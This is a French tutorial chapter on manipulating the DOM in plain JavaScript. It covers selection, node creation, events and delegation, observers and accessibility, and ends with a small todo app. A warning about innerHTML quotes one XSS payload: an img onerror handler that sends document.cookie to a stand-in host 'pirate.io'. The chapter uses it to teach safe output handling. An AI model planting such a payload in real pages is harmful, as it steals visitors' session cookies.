Apprendre JavaScript de zéro jusqu'au niveau expert : syntaxe moderne, DOM, asynchrone et event loop, modules, prototypes, métaprogrammation, performance et mémoire.
Le DOM (Document Object Model) est la représentation en arbre d'objets d'une page HTML. JavaScript ne modifie jamais le HTML source : il modifie cet arbre, et le navigateur redessine la page en conséquence. Maîtriser le DOM sans framework reste indispensable, ne serait-ce que pour comprendre ce que React ou Vue font à votre place.
const titre = document.querySelector('h1') // premier élément correspondant
const cartes = document.querySelectorAll('.carte') // NodeList statique
const form = document.getElementById('inscription')
for (const carte of cartes) {
console.log(carte.dataset.id) // lit l'attribut data-id
}
const bouton = form.querySelector('button[type="submit"]') // recherche dans un sous-arbre
const section = bouton.closest('section') // remonte vers l'ancêtrequerySelector accepte n'importe quel sélecteur CSS. C'est la seule API de sélection dont vous avez besoin.
titre.textContent = 'Nouveau titre' // texte brut, sûr
titre.classList.add('actif')
titre.classList.toggle('masque', estMasque) // ajoute ou retire selon le booléen
titre.style.setProperty('--couleur', 'red') // variable CSS
titre.setAttribute('aria-expanded', 'true')
titre.hidden = true// DANGEREUX si commentaire vient d'un utilisateur
div.innerHTML = `<p>${commentaire}</p>`Si commentaire contient <img src=x onerror="fetch('https://pirate.io?c='+document.cookie)">, le code s'exécute chez chaque visiteur. Utilisez textContent pour tout contenu externe, ou construisez les nœuds explicitement. Les risques de ce type sont détaillés dans le guide cybersécurité pour développeurs.
function creerCarte({ titre, prix }) {
const article = document.createElement('article')
article.className = 'carte'
const h3 = document.createElement('h3')
h3.textContent = titre
const p = document.createElement('p')
p.textContent = `${prix} €`
article.append(h3, p)
return article
}
const liste = document.querySelector('#produits')
const fragment = document.createDocumentFragment()
for (const produit of produits) fragment.append(creerCarte(produit))
liste.replaceChildren(fragment)Le DocumentFragment regroupe les insertions : un seul recalcul de mise en page au lieu d'un par produit.
Le <template> HTML est une alternative élégante pour les structures complexes :
<template id="tpl-carte">
<article class="carte">
<h3></h3>
<p class="prix"></p>
</article>
</template>const tpl = document.querySelector('#tpl-carte')
const clone = tpl.content.cloneNode(true)
clone.querySelector('h3').textContent = 'Clavier'
clone.querySelector('.prix').textContent = '80 €'
liste.append(clone)bouton.addEventListener('click', event => {
console.log(event.target, event.clientX)
})Options utiles :
el.addEventListener('scroll', handler, { passive: true }) // promet de ne pas appeler preventDefault
el.addEventListener('click', handler, { once: true }) // retiré après le premier appel
const controller = new AbortController()
el.addEventListener('mousemove', handler, { signal: controller.signal })
controller.abort() // retire tous les écouteurs liés à ce signalUn clic sur un <button> dans une <li> dans une <ul> déclenche l'événement sur les trois éléments. Il descend d'abord (capture), atteint la cible, puis remonte (bubbling).
ul.addEventListener('click', () => console.log('ul'))
li.addEventListener('click', () => console.log('li'))
button.addEventListener('click', e => {
console.log('button')
// e.stopPropagation() empêcherait la remontée
})
// Clic sur le bouton : button, li, ulPlutôt qu'un écouteur par élément, un seul sur le parent. Il fonctionne aussi pour les éléments ajoutés plus tard.
document.querySelector('#todo').addEventListener('click', e => {
const bouton = e.target.closest('[data-action]')
if (!bouton) return
const id = bouton.closest('li').dataset.id
if (bouton.dataset.action === 'supprimer') supprimer(id)
if (bouton.dataset.action === 'terminer') terminer(id)
})form.addEventListener('submit', async e => {
e.preventDefault() // empêche le rechargement de la page
const data = Object.fromEntries(new FormData(form))
await fetch('/api/inscription', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data),
})
})panier.dispatchEvent(new CustomEvent('panier:maj', { detail: { total: 42 }, bubbles: true }))
document.addEventListener('panier:maj', e => afficherTotal(e.detail.total))Les APIs d'observation remplacent avantageusement l'écoute du scroll ou du resize.
// Charger une image quand elle approche du viewport
const io = new IntersectionObserver(entries => {
for (const entry of entries) {
if (!entry.isIntersecting) continue
entry.target.src = entry.target.dataset.src
io.unobserve(entry.target)
}
}, { rootMargin: '200px' })
document.querySelectorAll('img[data-src]').forEach(img => io.observe(img))ResizeObserver surveille la taille d'un élément, MutationObserver les modifications du DOM.
Un <div onclick> n'est ni focusable au clavier ni annoncé par un lecteur d'écran. Utilisez les éléments natifs (<button>, <a>, <details>, <dialog>) : le comportement clavier est offert. Le guide accessibilité web et WCAG couvre le reste.
const dialog = document.querySelector('dialog')
ouvrir.addEventListener('click', () => dialog.showModal()) // focus piégé, Échap géré<form id="ajout"><input name="texte" required /><button>Ajouter</button></form>
<ul id="todo"></ul>const todos = JSON.parse(localStorage.getItem('todos') ?? '[]')
const ul = document.querySelector('#todo')
function rendre() {
ul.replaceChildren(...todos.map(t => {
const li = document.createElement('li')
li.dataset.id = t.id
li.classList.toggle('fait', t.fait)
const span = document.createElement('span')
span.textContent = t.texte
const ok = Object.assign(document.createElement('button'), { textContent: '✓' })
ok.dataset.action = 'basculer'
const del = Object.assign(document.createElement('button'), { textContent: '✕' })
del.dataset.action = 'supprimer'
li.append(span, ok, del)
return li
}))
localStorage.setItem('todos', JSON.stringify(todos))
}
document.querySelector('#ajout').addEventListener('submit', e => {
e.preventDefault()
const input = e.target.elements.texte
todos.push({ id: crypto.randomUUID(), texte: input.value, fait: false })
input.value = ''
rendre()
})
ul.addEventListener('click', e => {
const action = e.target.dataset.action
if (!action) return
const i = todos.findIndex(t => t.id === e.target.closest('li').dataset.id)
if (action === 'basculer') todos[i].fait = !todos[i].fait
if (action === 'supprimer') todos.splice(i, 1)
rendre()
})
rendre()Vous venez d'écrire ce que fait un framework : un état, une fonction de rendu, des événements qui modifient l'état et relancent le rendu. La comparaison des frameworks qui automatisent ce cycle est dans React contre Vue.
Sélection avec querySelector, modification avec textContent, écoute par délégation : ces trois gestes suffisent à construire des interfaces interactives. Le reste, ce sont des optimisations et des bonnes pratiques d'accessibilité.